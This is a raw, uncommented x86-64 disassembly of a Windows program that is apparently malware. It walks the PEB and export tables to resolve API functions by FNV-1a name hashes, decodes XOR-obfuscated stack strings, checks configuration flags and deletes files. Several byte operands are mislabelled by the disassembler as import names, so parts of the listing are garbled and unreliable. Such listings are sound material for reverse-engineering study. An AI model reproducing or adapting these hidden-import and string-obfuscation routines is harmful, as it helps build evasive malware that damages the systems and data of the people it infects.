mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076776
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x41ff168c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140076771
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140076750
cmp r8d, 0x1725af16
je 0x14007677b
test r9d, r9d
jne 0x140076730
mov rax, qword [rax]
jmp 0x140076700
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2628]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140076826
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076826
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xace13018
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140076821
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140076800
cmp r8d, 0xb8425e02
je 0x14007682b
test r9d, r9d
jne 0x1400767e0
mov rax, qword [rax]
jmp 0x1400767b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2630]
call rdx
nop
lea rcx, [rbp + 0x2880]
call fcn.140090180
nop
lea rcx, [rbp + 0x2a78]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x24], 1
jne 0x140081c5f
call fcn.140051df0
call fcn.1400537a0
lea rax, [rbp + 0xfe0]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xfe0]
call fcn.140056470
mov rbx, rax
mov byte [rbp + 0x5c0], Ordinal_79
mov byte [rbp + 0x5c1], 0x55
mov byte [rbp + 0x5c2], 0x5e
mov byte [rbp + 0x5c3], 0x43
mov byte [rbp + 0x5c4], 0x5f
mov byte [rbp + 0x5c5], 0x43
mov byte [rbp + 0x5c6], 0x57
mov byte [rbp + 0x5c7], 0x41
mov byte [rbp + 0x5c8], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x5c9], 0x50
mov byte [rbp + 0x5ca], Ordinal_79
mov byte [rbp + 0x5cb], 0x52
mov byte [rbp + 0x5cc], 0
mov byte [rbp + 0x5cd], 1
lea rdx, [rbp + 0x1ce8]
lea rcx, [rbp + 0x5c0]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x1ce8]
call fcn.14004b5f0
nop
mov r8b, 1
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1ce8]
call fcn.140090bf0
call fcn.1400559f0
mov rax, qword [0x140214480]
cmp byte [rax + 0x27], 1
jne 0x140076951
call fcn.140055490
lea rax, [rbp + 0xff8]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xff8]
call fcn.140055c90
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x938], xmm0
mov byte [rbp + 0x948], 1
lea rdx, [rbp + 0x1d08]
lea rcx, [rbp + 0x938]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1d08]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1d08]
call fcn.140090bf0
lea rax, [rbp + 0x1010]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1010]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x950], xmm0
mov byte [rbp + 0x960], 1
lea rdx, [rbp + 0x1d28]
lea rcx, [rbp + 0x950]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1d28]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1d28]
call fcn.140090bf0
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x968], xmm0
mov byte [rbp + 0x978], 1
lea rdx, [rbp + 0x1d48]
lea rcx, [rbp + 0x968]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1d48]
call fcn.14004b5f0
mov ecx, eax
call fcn.14004bcd0
nop
lea rcx, [rbp + 0x1d48]
call fcn.140090bf0
lea rax, [rbp + 0x1028]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1028]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x5d0], Ordinal_79
mov byte [rbp + 0x5d1], 0x55
mov byte [rbp + 0x5d2], 0x5e
mov byte [rbp + 0x5d3], 0x43
mov byte [rbp + 0x5d4], 0x5f
mov byte [rbp + 0x5d5], 0x43
mov byte [rbp + 0x5d6], 0x57
mov byte [rbp + 0x5d7], 0x41
mov byte [rbp + 0x5d8], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x5d9], 0x50
mov byte [rbp + 0x5da], Ordinal_79
mov byte [rbp + 0x5db], 0x52
mov byte [rbp + 0x5dc], 0
mov byte [rbp + 0x5dd], 1
lea rdx, [rbp + 0x1d68]
lea rcx, [rbp + 0x5d0]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x1d68]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1d68]
call fcn.140090bf0
lea rax, [rbp + 0x1040]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1040]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [0x1401ccb60]
movdqu xmmword [rbp + 0xab8], xmm0
mov byte [rbp + 0xac8], 0x59
mov byte [rbp + 0xac9], 0
mov byte [rbp + 0xaca], 1
lea rdx, [rbp + 0x1d88]
lea rcx, [rbp + 0xab8]
call fcn.14008e550
nop
lea rcx, [rbp + 0x1d88]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1d88]
call fcn.140090bf0
lea rax, [rbp + 0x1058]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1058]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x490], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x491], 0x59
mov byte [rbp + 0x492], 0x48
mov byte [rbp + 0x493], 0x42
mov byte [rbp + 0x494], 0x5f
mov byte [rbp + 0x495], 0x5f
mov byte [rbp + 0x496], Ordinal_32
mov byte [rbp + 0x497], 0x56
mov byte [rbp + 0x498], Ordinal_79
mov byte [rbp + 0x499], 0x50
mov byte [rbp + 0x49a], 0
mov byte [rbp + 0x49b], 1
lea rdx, [rbp + 0x1da8]
lea rcx, [rbp + 0x490]
call fcn.14008e4e0
nop
lea rcx, [rbp + 0x1da8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1da8]
call fcn.140090bf0
lea rax, [rbp + 0x1070]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1070]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x3d0], 0x40
mov byte [rbp + 0x3d1], 0x5e
mov byte [rbp + 0x3d2], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x3d3], 0x5c
mov byte [rbp + 0x3d4], 0x43
mov byte [rbp + 0x3d5], Ordinal_32
mov byte [rbp + 0x3d6], 0x57
mov byte [rbp + 0x3d7], Ordinal_79
mov byte [rbp + 0x3d8], 0x51
mov byte [rbp + 0x3d9], 0
mov byte [rbp + 0x3da], 1
lea rdx, [rbp + 0x1dc8]
lea rcx, [rbp + 0x3d0]
call fcn.14008f030
nop
lea rcx, [rbp + 0x1dc8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1dc8]
call fcn.140090bf0
lea rax, [rbp + 0x1088]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x1088]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x250], 0x7c
mov byte [rbp + 0x251], Ordinal_79
mov byte [rbp + 0x252], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x253], 0x7c
mov byte [rbp + 0x254], 0x46
mov byte [rbp + 0x255], 0x52
mov byte [rbp + 0x256], 0
mov byte [rbp + 0x257], 1
lea rdx, [rbp + 0x1de8]
lea rcx, [rbp + 0x250]
call fcn.14008efc0
nop
lea rcx, [rbp + 0x1de8]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1de8]
call fcn.140090bf0
lea rax, [rbp + 0x10a0]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x10a0]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x3e0], 0x68
mov byte [rbp + 0x3e1], 0x44
mov byte [rbp + 0x3e2], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x3e3], 0x48
mov byte [rbp + 0x3e4], 0x64
mov byte [rbp + 0x3e5], 0x43
mov byte [rbp + 0x3e6], 0x53
mov byte [rbp + 0x3e7], 0x50
mov byte [rbp + 0x3e8], 0x5f
mov byte [rbp + 0x3e9], 0
mov byte [rbp + 0x3ea], 1
lea rdx, [rbp + 0x1e08]
lea rcx, [rbp + 0x3e0]
call fcn.14008f030
nop
lea rcx, [rbp + 0x1e08]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1e08]
call fcn.140090bf0
lea rax, [rbp + 0x10b8]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x10b8]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x84], 0x68
mov byte [rbp + 0x85], 0x7d
mov byte [rbp + 0x86], 0x7d
mov byte [rbp + 0x87], 0
mov byte [rbp + 0x88], 1
lea rdx, [rbp + 0x1e28]
lea rcx, [rbp + 0x84]
call fcn.14008eee0
nop
lea rcx, [rbp + 0x1e28]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1e28]
call fcn.140090bf0
lea rax, [rbp + 0x10d0]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0x10d0]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x2a0], 0x68
mov byte [rbp + 0x2a1], 0x43
mov byte [rbp + 0x2a2], 0x5d
mov byte [rbp + 0x2a3], Ordinal_79
mov byte [rbp + 0x2a4], 0x51
mov byte [rbp + 0x2a5], 0x52
mov byte [rbp + 0x2a6], 0x5a
mov byte [rbp + 0x2a7], 0x56
mov byte [rbp + 0x2a8], 0
mov byte [rbp + 0x2a9], 1
lea rdx, [rbp + 0x1e48]
lea rcx, [rbp + 0x2a0]
call fcn.14008e470
nop
lea rcx, [rbp + 0x1e48]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1e48]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x26], 1
jne 0x140077448
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140076ff6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076ff6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x474f3ee8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140076ff1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140076fd0
cmp r8d, 0xb61535d0
je 0x140076ffb
test r9d, r9d
jne 0x140076fb0
mov rax, qword [rax]
jmp 0x140076f80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x4b50]
mov ecx, 0x104
call r8
dec eax
cmp eax, 0x103
jbe 0x140077104
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400770b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400770b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa77d136d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400770b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140077090
cmp r8d, 0xe973024c
je 0x1400770bb
test r9d, r9d
jne 0x140077070
mov rax, qword [rax]
jmp 0x140077040
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0xe]
call fcn.140085970
mov rcx, rax
call fcn.14008c9b0
mov rbx, rax
lea rcx, [rbp - 0xd]
call fcn.140085890
mov rcx, rax
call fcn.14008ca00
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
lea rdx, [rbp + 0x4b50]
lea rcx, [rbp + 0x2cf8]
call fcn.140090c30
nop
mov byte [rbp + 0x4a0], 0x7e
mov byte [rbp + 0x4a1], Ordinal_79
mov byte [rbp + 0x4a2], 0x54
mov byte [rbp + Ordinal_793], 0x4a
mov byte [rbp + 0x4a4], 0x42
mov byte [rbp + 0x4a5], Ordinal_32
mov byte [rbp + 0x4a6], 0x58
mov byte [rbp + 0x4a7], 0x40
mov byte [rbp + 0x4a8], 0x5b
mov byte [rbp + 0x4a9], 0x5b
mov byte [rbp + 0x4aa], 0
mov byte [rbp + 0x4ab], 1
lea rdx, [rbp + 0x1e68]
lea rcx, [rbp + 0x4a0]
call fcn.14008e4e0
nop
lea rdx, [rbp + 0x1e68]
lea rcx, [rbp + 0x2cf8]
call fcn.140090bb0
nop
lea rcx, [rbp + 0x1e68]
call fcn.140090bf0
lea rcx, [rbp + 0x2cf8]
call fcn.140090b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x14007728c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140077246
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140077246
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xcf41d6ad
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140077241
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140077220
cmp r8d, 0x95c8288c
je 0x14007724b
test r9d, r9d
jne 0x140077200
mov rax, qword [rax]
jmp 0x1400771d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0xc]
call fcn.140085ad0
mov rcx, rax
call fcn.14008c900
mov rbx, rax
lea rcx, [rbp - 0xb]
call fcn.140085a10
mov rcx, rax
call fcn.14008c950
jmp 0x140077427
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword gs:[0x60]
cmp eax, 2
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
jne 0x140077370
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140077326
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140077326
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xd36b5af5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140077321
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140077300
cmp r8d, 0x13e26d14
je 0x14007732b
test r9d, r9d
jne 0x1400772e0
mov rax, qword [rax]
jmp 0x1400772b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0xa]
call fcn.140085c30
mov rcx, rax
call fcn.14008c850
mov rbx, rax
lea rcx, [rbp - 9]
call fcn.140085b70
mov rcx, rax
call fcn.14008c8a0
jmp 0x140077427
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400773e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400773e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xd0a7a5e3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400773e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400773c0
cmp r8d, 0xeec7342
je 0x1400773eb
test r9d, r9d
jne 0x1400773a0
mov rax, qword [rax]
jmp 0x140077370
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 8]
call fcn.140085db0
mov rcx, rax
call fcn.14008c7a0
mov rbx, rax
lea rcx, [rbp - 7]
call fcn.140085cd0
mov rcx, rax
call fcn.14008c7f0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
nop
lea rcx, [rbp + 0x2cf8]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x25], 1
jne 0x1400777b4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400774e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400774e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x134c59e2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400774e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400774c0
cmp r8d, 0xbb4ae84b
je 0x1400774eb
test r9d, r9d
jne 0x1400774a0
mov rax, qword [rax]
jmp 0x140077470
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movdqa xmm0, xmmword [0x1401cd150]
movdqu xmmword [rbp + 0x1e88], xmm0
mov byte [rbp + 0x1e98], 0x79
mov byte [rbp + 0x1e99], 0x77
mov byte [rbp + 0x1e9a], WSAStartup
mov byte [rbp + 0x1e9b], WSASetLastError
mov byte [rbp + 0x1e9c], reloc.WS2_32.dll_select
mov byte [rbp + 0x1e9d], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1e9e], 3
mov byte [rbp + 0x1e9f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1ea0], 0x64
mov byte [rbp + 0x1ea1], WSASetLastError
mov byte [rbp + 0x1ea2], 2
mov byte [rbp + 0x1ea3], 0x67
mov byte [rbp + 0x1ea4], ntohs
mov byte [rbp + 0x1ea5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1ea6], 0
mov byte [rbp + 0x1ea7], 1
lea rcx, [rbp + 0x1e88]
call fcn.1400614d0
mov rcx, rax
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140077626
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140077626
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6821842
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140077621
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140077600
cmp r8d, 0x369bf1ab
je 0x14007762b
test r9d, r9d
jne 0x1400775e0
mov rax, qword [rax]
jmp 0x1400775b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movdqa xmm0, xmmword [0x1401cd150]
movdqu xmmword [rbp + 0x1ea8], xmm0
mov byte [rbp + 0x1eb8], 0x79
mov byte [rbp + 0x1eb9], 0x77
mov byte [rbp + 0x1eba], WSAStartup
mov byte [rbp + 0x1ebb], WSASetLastError
mov byte [rbp + 0x1ebc], reloc.WS2_32.dll_select
mov byte [rbp + 0x1ebd], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1ebe], 3
mov byte [rbp + 0x1ebf], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1ec0], 0x64
mov byte [rbp + 0x1ec1], WSASetLastError
mov byte [rbp + 0x1ec2], 2
mov byte [rbp + 0x1ec3], 0x67
mov byte [rbp + 0x1ec4], ntohs
mov byte [rbp + 0x1ec5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1ec6], 0
mov byte [rbp + 0x1ec7], 1
lea rcx, [rbp + 0x1ea8]
call fcn.1400614d0
mov rcx, rax
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140077766
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140077766
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x4372a03e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140077761
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140077740
cmp r8d, 0x310ac641
je 0x14007776b
test r9d, r9d
jne 0x140077720
mov rax, qword [rax]
jmp 0x1400776f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 6]
call fcn.140085f40
mov rcx, rax
call fcn.14008c6f0
mov rbx, rax
lea rcx, [rbp - 5]
call fcn.140085e50
mov rcx, rax
call fcn.14008c740
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140077846
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140077846
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x85f0f55
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140077841
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140077820
cmp r8d, 0xe5fc9eb4
je 0x14007784b
test r9d, r9d
jne 0x140077800
mov rax, qword [rax]
jmp 0x1400777d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 4]
call fcn.140086080
mov rcx, rax
call fcn.14008c680
mov rbx, rax
lea rcx, [rbp - 3]
call fcn.140085fe0
mov rcx, rax
call fcn.14008c6a0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword [0x140214480]
cmp byte [rax + 0x28], 1
jne 0x140081c5f
xor r13d, r13d
mov r15d, r13d
mov r14d, 0x9f96355f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rbp + 0x2800], xmm0
movd eax, xmm0
sub ax, 8
test r15d, r15d
je 0x14007792d
mov rcx, qword [rbp + 0x2808]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xa27137df
cmp rcx, r8
je 0x140077924
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140077910
cmp edx, r15d
jne 0x140077a3d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov rdi, rcx
shr rdi, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x140077a3d
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140077a3d
mov ebx, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + rbx]
add rcx, r9
mov edx, 0xa27137df
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400779a6
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140077990
cmp edx, r14d
je 0x1400779b5
test r8d, r8d
jne 0x140077970
jmp 0x140077a3d
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x140081c5b
lea rax, [rdi + r11]
cmp rdx, rax
jae 0x140081c5b
mov r15d, 0xa27137df
mov r14d, r15d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140077a17
nop dword [rax]
nop dword [rax + rax]
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140077a00
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x140077a39
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140077a21
